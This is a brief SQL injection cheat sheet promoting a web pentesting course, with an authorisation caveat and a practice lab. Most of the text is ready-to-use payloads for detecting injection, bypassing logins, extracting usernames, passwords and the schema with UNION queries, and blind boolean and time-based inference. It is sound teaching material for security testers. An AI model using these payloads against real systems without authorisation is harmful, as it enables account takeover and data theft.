SQL Injection Cheat Sheet (with a Lab to Try It)

A reference for the SQL injection techniques you actually use when testing a web app. Only ever test systems you own or are explicitly authorised to test. Everything here can be practised legally in the free Web Pentesting course - the SQL injection lab gives you a real, vulnerable login to break in your browser.

Detecting it

• ' - a single quote that triggers a database error is the classic first test
• 1' OR '1'='1 - does a tautology change the result?
• 1 AND 1=1 vs 1 AND 1=2 - different responses suggest injection
• 1' AND SLEEP(5)-- - - a time delay confirms blind injection

Authentication bypass

• admin'-- - - comment out the password check
• ' OR 1=1-- - - log in as the first user
• ' OR 1=1 LIMIT 1-- - - when only one row is expected

Do this one hands-on in the SQLi lab.

UNION-based extraction

• ' ORDER BY 3-- - - find the column count (increase until it errors)
• ' UNION SELECT 1,2,3-- - - find which columns are reflected
• ' UNION SELECT username,password,3 FROM users-- - - pull data
• ' UNION SELECT table_name,2,3 FROM information_schema.tables-- - - enumerate schema

Blind (boolean & time)

• ' AND SUBSTRING(version(),1,1)='5'-- - - ask yes/no questions a character at a time
• ' AND IF(1=1,SLEEP(3),0)-- - - infer answers from response time

Comment styles by database

• MySQL: -- -, #, /* */
• PostgreSQL / MSSQL / Oracle: -- and /* */

Learn it by doing

Payloads only make sense once you have fired them at a real target and watched the response. Start the free Web Pentesting course and break the SQL injection lab - no Kali or Burp, it all runs in your browser.